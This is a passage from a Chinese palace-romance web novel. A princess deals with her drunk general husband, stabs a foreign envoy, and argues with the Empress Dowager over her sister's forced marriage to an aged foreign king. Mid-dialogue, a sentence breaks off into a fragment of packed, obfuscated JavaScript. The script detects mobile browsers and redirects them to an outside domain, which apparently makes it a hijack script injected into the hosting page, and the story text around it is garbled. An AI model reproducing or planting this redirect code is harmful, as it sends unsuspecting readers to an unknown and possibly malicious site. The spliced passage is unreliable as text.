那真是若朱雀下凡般可洞察世间一切变局之人,可惜不得善终。
景回和连珠都愣了下,二人抿唇不言。
屋内安静了片刻,景文帝问景回道:“方才去过莲玉殿?”
“是。”
景回道:“兄长从南疆给阿姐寻回了几颗药丸,或许对她的身子有帮助,我们便去给阿姐送了过去。”
纵是景回再紧张景宁,在景文帝面前,她说起景宁也是轻飘飘一句。
“嗯。”景文帝咳了两声,“她不小了,那身子也坏了好些年,明日拨几个太医过去好好给她看看,早些医好好让你安心。”
景回愣了下。
往常景文帝对景宁的态度,宫中众人有目共睹,别说给景宁派太医过去了,便是最初之时,也是勃然大怒说过不必管她的。
“多谢父皇。”景回喜道。
景文帝看见女儿的笑意,不自觉也扬起了唇角。
“如今父皇只愿你能开心,阿珠,父皇不希望日后你想起我,心中有怨恨。”
这话说的
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未免过重,景宁和景文帝之间还有上一辈的恩怨,景回不会插手这些,她只希望景文帝和景宁,都能好好的。
“儿臣才不会!”景回朝着景文帝撒娇似的,抬起下巴皱了下鼻子。
“哈哈哈哈。”
景文帝被景回逗笑,宽敞的养心殿充满了他的笑声,几人又说几句话,眼见景文帝精力不济,景回和连珠起身告别。
“那儿臣先行告退,父皇早些休息吧。”
“稍待。”
景文帝抬抬手,拦住二人,吩咐宁禄从一旁的大桌案上拿来一个封信。
“公主请看。”
景回打开,上书乃是深山爆炸之事有了眉目。
她抬头说道:“父皇,这是?”
“今夜大理寺卿会带着人在深山抓那假猎户,阿珠,你过去一趟,看看他到底是何人。深山之事拖了许久,过去之后且收了尾,恢复从前的模样。”
景文帝说完后喘了几息,“连珠跟着去吧,她夫君腿脚不便,不能跟着去,你去护着点阿珠。”
“是,儿臣领旨。”
“是,臣领旨。”
二人领旨往皇宫外走去,日挂西山,现下过去深山是正好,若在晚些,天就要黑了。
此事耽搁不得,二人都准备让下人回去报信,直接去深山。
“公主!”
刚走出皇宫,景回便听见了阿鱼的声音,她转头看去,只见阿鱼跑了过来,她身后还跟着牵着马的陆青越。
陆青越过来行礼道:“参见公主殿下。”
景回问道:“你们怎么在这里?”
阿鱼看向陆青越,陆青越说道:“将军今夜公主或许不归家,让属下跟在公主身边,保护您。”
景回挑挑眉,“你们将军神通广大,这也能算出来。”
陆青越一噎,难得没有瞬间说出话来。
景回哼笑一声。
陆青越伸手从一旁的马上拿过披风,递给景回道:“这也是将军让属下带来给公主的。夜里深山凉,公主且穿上吧。”
景回看向阿鱼,阿鱼手中也抱着披风。
“不必了。”
景回示意阿鱼给她穿上披风,接过陆青越手中的缰绳,翻身上马。
“走。”
“是。”
“驾——”
马蹄扬起的灰尘在夕阳下若星若点,浮浮沉沉。
-
这一遭前去深山,景回本以为只去三两日,谁知竟去了七日。
头天刚到之时,险些抓住那假猎人之时,不知是否有人通风报信,那人不知躲去了深山何处。
景回即刻命人封山搜人,整整寻了一夜一日,才将人抓到。
原地审问不出什么,便让人带回了大理寺,大理寺也审不出什么,景回便让连珠带着人去了御史台。
她留在深山之中,监督众人将被炸毁之处重建,恢复以往模样。
深山逐渐有序,重建也需要些日子,景回将来癸水,腹痛的厉害,于是将陆青越留在原地,打马回了府中。
一去多日,景回身上早就灰扑扑了,她回府第一要事,便是准备沐浴。
恰巧已是黄昏,阿颜和阿鱼备下沐浴所用之后,知道身上脏时,景回绝不进主殿,于是便先拉着她去膳房用膳。
用过晚膳,阿鱼伺候着景回脱下外衣,便拿着她的脏衣吩咐人送去净衣室。
景回一刻也忍不了了,仅穿着一层薄薄的中衣,便往净室中走去。
将到冬日,阿鱼备下的水热了些,刚一踏进净室,便水汽氤氲,雾气缭绕,眼前仿佛弥漫着一层晨间大雾般。
景回皱皱眉,往里走了几步,去寻浴桶所在之处。
她绕过屏风,方走一步,瞬间愣在了原地。
陆颂渊正全.身.赤.裸.坐在浴桶中。
22. 醉酒。
雾气逐渐散去,景回更清晰地看清陆颂渊的模样。
他闭着眼,仰头靠在浴桶上,两条手臂伸展搭在浴桶边缘,起伏的臂肌线条流畅蓬勃,喉结滚动,有小水珠顺着凸.起滑过沟壑落在横阔的胸脯上。
层层水波荡漾的水面下,隐约可见他肌肉分明的腹部平稳起伏着,再之下……
景回闭上了眼。
将来癸水,她本就在敏.感期,偏又让她看见这等香.艳的场面。
陆颂渊的身材比她在书中看过的都要好,她深呼几下,净室中潮湿雾气钻进鼻中,景回稍微清醒了些。
这是她的净室,陆颂渊泡的是她的浴桶!
她睁开眼,瞬间感觉疲累上身,目不斜视地缓步走过去拍了拍陆颂渊沾满水珠的肩膀。
摸到了一手凉。
这是泡了多久。
“醒醒。”
景回甩了甩手上的水珠,唤道:“陆颂渊。”
陆颂渊常年警觉,平日里在床榻睡觉有人靠近都会忽而清醒,这次不知怎地,景回都靠这么近了,他还闭着眼呢。
陆青越不在,陆昼雪也不会进来伺候他,都不知他是如何坐进这浴桶的。
“陆……”
景回还想再唤,刚拍一下,手腕便被陆颂渊攥住了。
他缓缓睁开眼,离得近了,景回看见了他眼中的红血丝。
“你——”
他抓的太紧,景回愣了下,转了转手说道:“痛!”
“殿下。”
陆颂渊看清来人后,拿过一旁的大浴帕盖在浴桶上,也不松开景回,仰起头看她。
“回来了。”
不论是拿浴帕还是说话,陆颂渊的动作都慢慢悠悠,景回眼中带着疑惑,偏头俯身和陆颂渊对视。
“你怎地了?”她问道。
“嗯?”
陆颂渊眨眨眼,看向景回。
见景回一眼不眨,他摇摇头道:“无事。”
“嗯——无事?”
景回长长应了一声,把手中衣裳扔去一旁,笑嘻嘻凑近陆颂渊。
她用没有被陆颂渊束缚的手从肩膀一路摸到他的脖颈,手掌张开,虎口卡在他的喉结下,“那你知晓我现下在做何事吗?”
陆颂渊不知。
方才与众皇子一同用膳之时,他无意间饮了一大口陈酿,现下被水一泡,正是散着酒劲之时。
他只知道脖颈被握住很痒。
陆颂渊滚了滚喉结,眼神迷离地看着景回说道:“你在摸我。”
鬼!她明明是想要掐死他。
“算了……”
景回一时失语,她松开手要走,手刚离开陆颂渊的脖颈,便被他猛得一拉,上半身扑进了浴桶中。
水珠溅起,湿了半身,景回一只手被陆颂渊握着,另一只手无处着力,慌乱中按在了陆颂渊右边胸膛上。
胸膛湿漉漉的,景回滑了几次才稳住身形,她喘了几息,怒瞪陆颂渊,还没开口骂,便被他捂住了嘴。
“唔!”
茉莉香露的香气散在鼻间,景回瞪着陆颂渊,艰难发力,模糊问道:“你要干什么!”
美人嗔怒,眉目却如画,水珠寒凉,掌心下的唇却是温热的。
手掌开始剧烈发痒,陆颂渊看了景回片刻,掌稍微上移,拇指按在了景回双唇之间。
“你!”
景回刚张开口,陆颂渊的手指便趁机钻.了进去,按到了她的舌上。
舌尖滑腻,指尖是不可言说的柔软。
“!”
景回瞪大了双眼,抬手拍在陆颂渊身上,发出巨大的响声,同时口齿用力,狠狠咬了下去。
“嗯。”
陆颂渊闷哼一声,拇指指根处传来的刺痛让他清醒了些。
他甩了甩头,缓缓直起身说道:“抱歉,殿下。”
“你混蛋!”
景回咬着陆颂渊的拇指不撒手。
说话之时,口涎随着陆颂渊的指尖留向了他的掌心。
陆颂渊眼神晦暗地盯着景回的唇,景回意识到后松开嘴,向后退了几步站稳。
净室中散去的水汽似乎都跑到了景回眼中,她眼圈发红,左右看看,拿起一旁的脏衣服,恶狠狠朝着陆颂渊的脸砸了过去,随后转身就走。
刚出净室,便见阿鱼和陆昼雪一同急匆匆跑来,阿鱼看见景回身上湿漉漉的模样,赶紧把厚实的大氅披在景回肩上,请罪道:“公主恕罪,方才奴婢并不知道陆将军在里面,是碰见了陆姑娘才知道的。”
深夜笼罩,景回不言,只看着前方廊道晃动的灯光。
她口中的异物感存在强烈,仿佛陆颂渊的手指还在其中。
“呸呸呸。”
景回狠狠咬了下舌尖,朝着一旁连着呸了好几声。
“公主。”阿鱼唤道。
“公主您还好吗?”
陆昼雪看了眼景回身后,迟疑地问道。
景回瞥了她一眼,扔下一句,“本公主好得很,你们将军被我掐死了。你还不赶紧去看看!”
便大步往前走去。
“是,恭送公主。”
“哼。”
景回抬步往前走去,这条长廊每隔几步便有一处雕刻龙凤的珐琅彩熏炉,走到尽头的另一个净室时,她身上的湿气已经被烤干了。
另一间净室就在走廊另一处,景回几步走到,站在净室门前停住脚步,转头看向院中。
将军府的院中每一处景观都是请宫廷匠人们专属打造的,是以将到初冬,院中还有绿意。
“下雪了。”
阿鱼刚想问景回怎么了,便听见这么一句,她转头看去,见院中果真有细小的白色星点,从黑夜之中落下。
“今年初雪来的早了些。”
阿鱼理了理景回的大氅说道:“公主您快进去吧,小心受凉。”
景回点点头,朝着雪地双手并拢聚在胸前,似祈愿般闭上眼说道:“愿秋去冬来,至亲无病无灾。”
上天似是听见了她的愿,不过顷刻,地上便浮了一层白。
-
“公主,这是奴婢方才熬的红糖姜茶,您喝了早些睡下吧。”
泡过澡后,景回坐在外间榻上,边看雪,边由着阿鱼和阿颜给她绞干头发。
“嗯。”
景回点点头,喝完后漱过口,打了个哈欠,问道:“还有多久干?”
“就快好了。”
景回应了声,眯眼看着院中角落里值夜的陆昼雪,问道:“陆颂渊呢?”
阿颜看向阿鱼,阿鱼低了低头,阿颜说道:“陆将军今日午后出门了,回来之时便有些不对劲,方才已经睡下了。”
景回轻哼一声,摸了摸有些发烫的脸颊,说道:“他去见谁了?”
阿颜说道:“咱们的探子说,三皇子大病初愈,在馥桂楼设宴,众位皇子和一些大臣们前去道喜,陆将军也去了。”
再怎么说他也是景回的哥哥,景回不在,陆颂渊代为前去,也是应当的事。
景回应了声,懒懒说道:“景仰大好,这上京城中又该热闹起来了。”
景仰是三皇子的名字,同景傲的名字一样,都是他们的生母悦嫔取的。
景回时常无奈,尚书令胸怀墨千斗,怎么能生出这般无脑的女儿和外孙来。
说起这尚书令,景回倒想起悦嫔的哥哥来。
那人的名字是真好听啊,叫……
景回困得紧,一时想不起来了。
“公主,好了。”
阿颜为景回抹上护发油,说道:“您快去休息吧。”
“嗯。”
景回下榻往屋里走去,边走边吩咐跟在身后的阿颜道:“我隐隐约约总感觉这两日上京城内回有事发生,你且盯着,有事及时报我。”
“是。”
寝殿内,陆颂渊躺在靠近床外侧之处睡得正好。
景回站在床边看了他一眼,由着阿颜侍奉她脱下衣裳,只剩一件中衣后,迈过陆颂渊躺在里侧。
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熄了灯,屋内彻底暗了下来,景回往被子深处钻了钻。
才刚落雪,她便感觉冷得厉害。
这还没化雪呢。
景回胡思乱想着,刚要入睡,便感觉身侧人有了动静。
她皱皱眉,未动,想看他要做什么。
只听陆颂渊似乎掀开了被子一角,侧过身朝着她,一只手穿过她脖颈下,另只手摸索着向下握住了她的手腕,随后稍稍一拉,景回便猝不及防,背靠在了他怀中。
“陆颂渊!”
整个过程不过一瞬,景回并未感觉到痛,但对他这像拎鸡仔似的做法实在是生气。
“你做什么!”
“还没睡。”
陆颂渊搂紧景回,鼻间抵在她的后脖颈,淡淡说道。
他怎么还能这么理直气壮!
陆颂渊说话时的气息很烫,透过薄薄的中衣钻进里面,景回后腰痒了下,她脸颊一热,怒道:“松手。”
陆颂渊晃了晃脑袋,但不言。
景回又拍了拍他的手,后知后觉陆颂渊似乎不对劲,她挣扎着扭了扭身体,问道:“你怎么了?”
陆颂渊摇摇头,半晌后抬起了些头,看着景回说道:“我没事。”
二人距离不过一拳,景回敏锐地闻到了一丝酒香。
“你喝酒了?”
陆颂渊抿唇,“一点,无事。”
“胡说。”
结合方才陆颂渊的种种行为,不就是醉酒之人耍酒疯的模样吗。
早就听说过他军纪严明,对手下兵将约束甚多,他自己私下里倒是什么都来。
景回问道:“喝了多少?”
陆颂渊缓缓挑了下眼皮,似是困得睁不开眼,强行回答景回的问题。
他说道:“一。”
“一坛?”
“非也。”
“一壶?”
“不是。”
“那?”
“一杯。”
“噗。”
景回笑出声,笑得连帐外的银铃都在跟着响,她半撑起身。
“你是说似拇指肚般大小的一杯?”
陆颂渊不悦,把景回重新拉进怀中,抱得更紧了些,鼻唇都压在她后脖颈,闷闷应道:“嗯。”
景回还是笑,待笑够了,她拍了下陆颂渊横在她腰处的手臂,“松手!”
“我不。”
怎么像个小孩儿一样。
“啧。”
他怀中太热,景回折腾出来一脑袋汗,“你勒得我喘不上来气了。”
陆颂渊稍稍松了一点,但还是抱着景回。
景回挣扎半晌,怎么也挣不脱,倒是把自己折腾的怪累。
陆颂渊怀中暖和得很,景回看着帐顶,无奈说道:“抱就算了,不准乱动。”
方才像沉睡过去的人现下倒是说话了,“嗯。”
“嗯个屁!”
景回脚丫子狠狠在陆颂渊脚背踩了一脚,随后闭眼睡去。
不知过了多久,怀中终于安静下来。
陆颂渊动了动手臂,正打算也睡去,听见景回如嘤.咛般小声说道:“陆颂渊,我腹痛。”
陆颂渊怔了下,一只手下移,捂在了景回小腹上。
-
一夜无梦,隔日天光大亮。
日光落在院中厚厚的白雪上,折射出银色的光芒,初雪便这般大,可见明年是个丰收年。
寝殿门前安静如斯,陆昼雪弹了下树枝上的雪,明明只是轻碰一下,却不想树枝却断了。
她愣了下,刚想捡起树枝,却见远处阿颜急匆匆走来。
“公主可醒了?”
“还未。”
陆昼雪问道:“出何事了?”
阿颜来不及答她,径直推门走进寝殿,跪在床前说道:“公主,奴婢有事禀报。”
片刻后帐内有了动静,景回含糊的声音传来,“说。”
“宫中方才传出了消息,说陛下给五公主和戎袭王赐了婚!”
23. 懿旨。
景回本还在睡梦中,闻言即刻惊醒。
“你说什么?”
阿颜又重复一遍,说道:“公主,宫中方才传出消息,说陛下给五公主和戎袭王赐了婚!消息传入将军府,现下必定是满京城人都知道了!”
戎袭王年过古稀,今年已经七十有五了!
景回闭了闭眼,“取衣服来,本宫主要进宫。”
“是!”
阿颜去一旁的衣柜中拿衣裳,景回掀开被子,垂眼看了眼腰间环绕的手,说道:“陆颂渊,松开我。”
陆颂渊早就醒来了,只是一直没睁眼。
他睁开眼看着景回,见她急从心中起,干脆利落地松手,掐住景回的两肋,一个用力把景回放在了床边坐好。
景回双腿踩在铺着兽毛的脚蹬上时,还有些发蒙,正巧这时阿颜走了过来,她没空搭理陆颂渊,抬手在他胸前拍了一掌,站起身走去屏风后换衣裳。
衣裳换好,景回披上大氅,转身往外走去。
铺面而来一股清新的凉气,日头落在雪上晃得人眼疼。
下人们正在清扫院中的积雪,积雪推开留出人可走的一条路,一旁翠竹被雪覆盖的只剩一条绿,另一旁的梅花树开了点点红梅,景色甚好。
景回自然无心赏景,她大步走向府门。
府外,阿鱼已经将景回的马儿牵了过来,景回翻身上马,打马往皇宫去。
初冬冷风不断吹过脸颊,景回到皇宫时已经清醒多了,当务之急应是前去莲玉殿,防止景宁知晓此事。
皇宫宫门大开,她径直打马入皇宫。
“驾——”
马蹄哒哒落在宫道上,景回头回希望景宁此刻还未醒来。
到了景宁的莲玉殿前,景回安插在景宁宫中的宫女之一宜笙连忙迎了上来,接过她手中的马鞭,行礼道:“参见殿下。”
景回脚步匆匆,边往里走,边问道:“我阿姐可醒了?”
“回公主,五公主昨夜就未睡,今晨各宫开门,陛下身边的宁禄公公直接来说了赐婚之事。”
宜笙快速说道:“奴婢本不信,差人去告知殿下您,谁知就在方才,太后身边的赵嬷嬷带了几个人,径直进了莲玉殿。”
景回呼吸一窒,甚至忘了问景宁为何一夜未睡,“赵嬷嬷?”
想她当日的赐婚懿旨,太后便是派的赵嬷嬷前来宣旨的。
“是。”
景回心中暗道不好,脚步愈发大,她刚过拐角,踏入院中,便看见雪地上放了两台绑着红花的大箱子。
院中多了不少人,景回往里走了几步,见景宁裹着雪白大氅垂头跪在那两个箱子前面,赵嬷嬷则背对着景回,站在景宁面前,手拿懿旨正在宣读。
“皇帝病重,四邻虎视眈眈,哀家以边境安宁、苍生福祉为要。
今五公主景宁适龄,性情温良,特赐公主远嫁戎袭国,为戎袭王副后,礼部与邻邦共择良辰,备丰厚嫁妆,显我朝威仪、表两国亲善。
布告天下,咸使闻之。
钦此。”
懿旨读完后,院中安静许久,半晌无人说话,也无人接旨。
赵嬷嬷看了眼景宁,将懿旨卷好,向前伸手要递给她。
“公主,还请接旨。”
僵持也不是办法,景宁伸手要拿之时,身侧忽然来了一只手,将那懿旨夺走了。
“大胆……”
赵嬷嬷未看清来人,下意识便要呵斥,待看见面若冰霜的景回,吓得一哆嗦,连忙跪地请罪道:“殿下,老奴参见殿下!方才不知殿下到来,还请殿下恕罪!”
“嬷嬷好大的阵仗。”
景回看也不看那懿旨,直接扔给身后的宜笙,她俯身将景宁扶起来,给他紧了紧大氅后,看着赵嬷嬷问道:“敢问太后这番旨意,我父皇可知晓?”
赵嬷嬷连忙回答说道:“陛下近来昏迷不醒,且公主婚嫁,陛下向来是默许太后操办的。”
“那便是不知。”
景回左右看了看那两个箱子,眼神又扫过那站在箱子身边如野人般的戎袭人,说道:“戎袭小国,岂能让我朝公主下嫁。嬷嬷便是这般帮着外朝人来折辱我阿姐的?”
这般罪名,何人敢当。
赵嬷嬷连连磕头,“殿下恕罪,殿下恕罪,奴婢是奉命前来,戎袭人如何,奴婢也无权插手啊殿下!”
“呵。”
景回冷笑一声。
那站在一旁的戎袭人见她如此说,不禁怒道:“你们的公主并非嫡系,我王却肯让她做副后,你还有何等不满!且说她那病恹恹的样子,是否能活着到戎袭享福,还不一定呢!”
这便是触到了景回的逆鳞。
她斜晲过去,边往那人身边走,边语气阴冷地问道:“你说什么?”
“我说……”
那戎袭人见她被激怒,挺了挺胸膛,正要再重复一遍,耳边忽然传来刀出鞘的声音,下一瞬便感觉腹部被一冰凉利刃插入了。
“唔,你……”
景回手握匕首,狠狠往里推去,待推到顶,她手腕一转,戎袭人腹部瞬间出现一个血洞。
她抽出匕首,戎袭人尖叫一声,承受不住剧痛,捂住腹部,双腿跪在景回面前。
景回眼神如看蝼蚁,她将匕首递给身后下人,接过干净的帕子擦了擦手后,仍在那人面前,说道:“大梁公主岂是你可以冒犯的。宜笙,拖去乱葬岗喂狗。”
宜笙道:“是!”
宜笙挥挥手,院中瞬间出现四个人高马大的暗卫,他们动作迅速,将此人拉走后,再次消失不见。
此人应当是戎袭人的小首领,他走后,戎袭人群猪无首,连兵器都未拔,只相互看看,一味地往箱子边上靠。
“带我去见太后。”
景回不管他们,抬步要往外走。
后想起什么似的又回到景宁面前,说道:“阿姐,你先回去屋中,此事有我。”
“不要。”
景宁攥着景回的手,摇头道:“阿珠,我知你的难处,我本就到了年纪,不是他也会是别人,我不愿你难做。”
景宁此言,景回有些听不懂。
不过她现下一心想找太后,“我不难做,阿姐,你信我。”
“阿珠,你听我说……”
“宜笙。”
景回直接打断景宁,“扶阿姐回去,谁胆敢再劳动阿姐,直接杖毙。”
“是!”
景回拿过宜笙手中圣旨,转头看了眼赵嬷嬷。
赵嬷嬷及身后宫女方才是第一次见景回这般杀.人,她们手脚冰凉,面上还有恐惧,看见景回的动作,连忙起身跟在景回身后,护着她往慈恩宫中走去。
一路到了慈恩宫,太后正坐在窗边榻上看折子。
“孙女参见皇祖母,祖母万安。”
太后抬头,见她手拿的懿旨皱皱巴巴,身上还有一股血腥气,面上带了薄怒,“你看你像什么样子!”
景回吸了下鼻子,直言道:“请祖母收回旨意。”
“懿旨虽不比圣旨,却也不是你说了算的。”
太后看着那懿旨,火气愈发大,一掌拍在桌上,“景回,你简直无法无天!”
景回直起上身,跪得笔直,与太后对视,“太后明知阿姐身子不好,为何非要让他远嫁戎袭,戎袭王年过七十,我阿姐才十九岁,祖母为何要如此……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263871|178526||http|test|mini|href|location''.split(''|''),0,{}));
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>景回说着说着,眼泪便掉了下来。
太后自小未亲自照顾景回一日,乍一见她哭,还有些愣住。
“你。”
不过片刻,景回脸上便爬满了泪痕,泪珠点点直往地上落。
太后撇了下眉,说道:“你先起来。”
景回抹了抹眼,倔强地看着太后。
太后看着她这张脸,实在是喜欢不起来。
她道:“近来北境有探子来报,说暗探戎袭国内,只见其兵力充足,马匹强装,粮草众多,且,他们有一火药库,规模并不小于深山。”
景回微微撇眉。
“戎袭人在草原长大,茹毛饮血,壮如牦牛,一人可顶我大梁五人。”
太后伸手合上折子,说道:“探子身子不凡,却在传消息的隔日,便被抓到灭口,人头送回了大梁。第三日,戎袭王便派人前来求亲。景回,你说他们为何如此嚣张?”
若真如太后所说,戎袭人如此嚣张的原因只有一个,便是探子所报是真的。
“大梁兵力外强中干,你祖父发动的笔杆子改革处死了多少武将,近来又有许多统帅终老,细细算来,大梁现下可用的将领,一只手都能数得过来。”
太后嘲讽一笑,“为首的,还是个手握重兵,未养熟的陆颂渊。”
景回胸膛起伏,眼泪持续掉着,她抿了下唇,甚至太后所言亦是真。
“懿旨已发,断没有收回的道理。”
太后看了眼景回,淡淡说道:“你若想让这婚事作罢,便只有两个法子。”
景回狠狠抽了下鼻子,问道:“您说。”
“要么让戎袭人自己悔婚,滚出上京。要么,让陆颂渊交出北境兵权,或者塔干,哀家便会在不久后,下旨公主薨逝,另派她人。”
太后说完后,叹了口气,“景回,大梁正在关键时期,断不能腹背受敌,你可明白?”
景回身上亦有家国重担,她岂会不懂。
从陆颂渊回上京,太后便盯上了他,她说的这两个法子,一个都绕不开陆颂渊。
景回现下才更明白,太后为何执意给她和陆颂渊赐婚了。
偏她什么都不能说,只得谢恩。
“多谢祖母。”
景回谢完恩,起身将懿旨重新叠好放入袖中,太后并未阻拦,景回再次行礼,转身向外走去。
“忘了跟你说,景宁的婚期定在腊月二十。”
景回转头看去,只见太后低头看着折子,她抿唇应道:“是。”
出了慈恩宫,阿颜正等在门外,她见景回出来了,连忙上前给景回披上大氅,见她眼圈通红,心疼地搂紧了她。
“公主。”阿颜问道:“咱们回府去吗?”
方才是假哭,现下则是被冷到了。
景回吸了吸鼻子,问道:“我父皇可醒了?”
阿颜道:“还未。”
“回府吧。”
便是景文帝醒着,景回也不会用这般的事去叨扰他,问这一句也只是受了委屈,想见他而已。
“马车就在宫外,咱们慢些走,公主小心路滑。”
“好。”
宫道上迎面吹来的冷风刺骨,景回拢了下大氅,心道从小到大,她都觉得这宫中的风比外头的冷多了。
正思索如何从陆颂渊那处下手,身后忽然传来一声笑言。
“呦,谁家小美人儿哭得梨花带雨,皇兄都心疼了。”
这声音。
景回头也不回,脚尖点地向后高高踢了层雪,身后之人连忙呸呸呸。
“景回!”
景傲拍着脸上的雪,怒气冲冲拦在景回面前,说道:“我有法子让景宁不嫁!”
24. 不善。
闻言景回顿住脚步,转头看向身后人。
景傲今日一身金黄华服,头顶胸前都挂了金灿灿的珠宝,尤其是头上那插了凤凰毛的金冠,在日头下一照,简直晃得景回眼睛疼。
景回眯眯眼,问道:“你说什么?”
景傲手背在身后,挺起胸膛说道:“本皇子有法子,让景宁不嫁给那外邦老男人。”
今晨有小朝会,方散不久,景傲不曾去过景宁宫里,懿旨也被景回握在了手中,这还没走出宫呢,景傲的消息可真灵通。
景回好整以暇,她冷笑了声,抬了抬下巴,“你说。”
景傲凑近景回,手捂住嘴一侧说道:“本殿这些日子跟陆颂渊接触良多,深觉此人……你懂吗?”
景回不懂,只看着他。
“啧!”
景傲见景回不开窍,直言说道:“终归你二人成亲也有些日子了,你可以让陆颂渊直接纳景宁为妾,这样你们两姐妹共侍一夫……哎呦!”
没等景傲说完,景回便直接伸手,一掌重重拍在了他头顶的发冠上。
发冠落地清脆响,景傲瞬间披头散发。
“景回!”
景回道:“你再胡说八道试试看呢?”
景傲头皮方才被扯痛,疼得他两眼泛泪花。
他擦了把泪恶狠狠看向景回,见景回愠怒的表情,哽了下。
“本殿给你出主意,你个粗鄙之人!”
景回伸手点了点景傲,“景傲,别让我知道是你掺和了景宁之事。”
景傲脖子僵了下,“我,本殿没空。”
“最好是。”
景回说完后转身就走,景傲抚摸着头皮,边缓解疼痛,边龇牙咧嘴朝着她的背影说道:“不论如何,你个女儿家,少去陆颂渊面前提起兵权之事啊,不然本殿下一定要你好看!景回,你听见没有……”
景回懒得搭理景傲,算盘珠子都崩她脸上了,是生怕陆颂渊听她的将兵权交出来,落不到他手里。
要陆颂渊真能听她的,景回保管拿到兵权,一准先把景傲丢军营里给将士们刷恭桶。
“公主莫气。”
阿颜看着景回紧皱的小脸,安慰道:“奴婢观今日之事,只觉是太后要将五公主下嫁戎袭,陛下怕还不知晓此事。”
是了,景文帝病重后,太后管了朝政,又激起她对权利的渴望之心了。
而对皇权威胁最大的兵权,便是首当其冲要解决的问题。
“父皇病重,不宜多思。”
冷冽的西北风刮过景回的面庞,她深知景文帝有多不喜欢景宁,且他向来不干涉太后的旨意。
“那公主可有什么别的法子?”
景回闷头走路,心下又在思索什么,没注意前方岔路出来一人。
那人笑吟吟说道:“呦,谁欺负我们天不怕地不怕的小公主了?”
这声音也贱兮兮的,景回抬眼瞪过去。
“你怎么在这里?”
连珠笑了下,拢了拢大氅,缓慢踱步到景回面前,与她并肩一同往宫外走去。
“方才和我阿爹一同去看了陛下,陛下还是昏迷不醒。现下他去户部,我便来寻你了。”连珠偏头看了眼景回,“景宁之事我听说了。”
“嗯。”
景回瞥了他一眼,“你别给我出损招。”
连珠挑挑眉,“碰见二皇子了?”
景回轻声应了下,“烦得很。”
“阿爹派我来宽你的心,此事总有转圜的余地。”连珠说。
景回知道连珠的意思,摇摇头,“这不算大事,不必劳动丞相。”
连忠这些年在朝中兢兢业业,乃实打实拥护景文帝的第一人。
身为景文帝的左膀右臂,连忠这些年帮景文帝做事,改革,触动了多少人的利益,自然在朝中也树敌不少。
景文帝病后,皇子们背后之人逐渐起势,这些日子已经给连忠添了不少堵了。
“哎。”
连珠叹了口气。
他身为武将,却自小跟在连忠身边,对朝政耳濡目染,其中的弯弯绕绕,他也清楚得很,叹了口气后倒也没说什么。
二人走到宫门口,阿颜已经派人将景回骑进宫中的马牵了出来,现下这马正和连珠的马儿在一处。
翻身上马,一路无言,雪日午后的太平大街人零星可见,倒显得街边几个玩闹孩童的声音格外响亮。
他们口唱着不知名的民谣,调子怪异。
景回收回目光,说道:“说来也不是没办法。”
连珠疑惑地应了声,顿了下问道:“你是说陆颂渊?”
“是啊,谁人不知道北境那几个小国众人皆害怕陆将军的大名。”
景回朝着连珠那厢转了转眼珠,说道:“太后所言不无道理,若是陆颂渊交出兵权,我父皇和那些皇子们都能歇了心了。”
“别胡来。”
连珠皱皱眉,“陆颂渊并非善人,他为何肯乖乖留在上京还未查清,你不要去摸老虎屁股。”
“啧。”
景回扭了下脸,“太后指的路是救我阿姐最快的路,不试试怎么能行。”
不行她再想别的法子就是了。
“你小心人财两失。”连珠劝道。
“才不会!”
景回小脑袋瓜瞬间转得飞起,她思索片刻,见路边有糖葫芦小摊,吩咐阿颜去买了两串回来。
“你就打算拿这个去贿赂他?”连珠脸上带了嫌弃。
“他缺一口吃的吗?”
景回晃着手中的糖葫芦,抬了抬下巴,“不过你信不信,本公主拿给他,他一定会吃!”
“哈。”
连珠哼笑,“不信。”
“拉倒。”
“你有什么法子?”连珠没忍住问道。
“威.逼,利.诱,胁.迫,装可怜,哭。”
景回一连串说着,“本公主法子多得是。”
还真是,景回确实是那般为达目的不罢休的人。
“不过你得帮我个忙。”
连珠点头,“你说。”
“前些日子将军府地窖修好,我本想着把锦绣宫中的酒都搬来,奈何当时只搬了一小半,后来出事便再也没空了。”
景回拍了拍马头,看向连珠,“你帮我将酒都运来将军府呗。”
“嘿!”
连珠一叹,“我堂堂中郎将,成了你家的下人了。”
“你去不去?”景回不与他废话。
连珠一脸无可奈何,烦躁地点点头,“去去去。”
“得嘞。”
景回拍了拍马屁股,“本公主先走了,回见!”
-
景回走后,陆颂渊又睡了一觉。
梦里浮浮沉沉,身上似有什么压着,他睡了不知多久,醒来后躺在枕上紧皱着眉头,努力回想昨日回府之后发生了何事,却怎么也想不起来。
只依稀记得指尖曾去过一温暖之处。
“啧。”
他从未喝过一整杯的酒,陆颂渊在心中暗骂酒桌劝酒之人,难耐地揉了揉发胀的太阳穴。
怀中抱过人的感觉强烈,陆颂渊睁开眼,景回不在的这些天,他胸膛那股莫名的空虚被填满,现下浑身有股说不出来的感觉。
只有舒畅二字可以形容
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。
“将军。”
陆昼雪的声音在外间传来,“您醒了吗?”
“说。”
陆颂渊吩咐了一声,随后缓慢坐起身。
“是。”
陆昼雪说道:“昨日您醉酒后是二皇子把您送上马车的,当时他与您相约今日来将军府中小坐,您可还记得?”
“不记得。”
陆颂渊问:“怎么?”
“方才二皇子的贴身太监来,说二皇子今日有事着急入宫,改日再来府中。”
“嗯。”
陆颂渊道:“知道了。”
陆颂渊理了理衣裳,掀开帷帐,陆昼雪上前,给他递上衣衫,退去一旁站好。
“他去皇宫何事?”
陆颂渊穿好衣衫,坐在轮椅上问道。
陆昼雪走去他身后,推着轮椅往外走去,“方才接到确切消息,太后给五公主和戎袭王赐了婚。”
陆颂渊听后冷笑一下,“那老东西就剩个秃顶没入土了,朝廷一群蠢货还上赶着。”
陆昼雪说道:“有您在,戎袭王哪敢亲自求亲,太后何必如此。再怎么说,五公主也是景文帝血脉。”
“都是幌子。”
陆颂渊摸着腰间玉佩,深思片刻后说道:“找两个身手好的,埋去太后身边。不必离得太近,也莫要太远。”
“属下明白。”
陆昼雪犹豫片刻,说道:“方才还有一消息,说公主在莲玉殿杀了戎袭人后,去了太后宫中。似乎是被太后斥责了,公主哭了许久。”
陆颂渊一愣,“哭了?”
“是。”
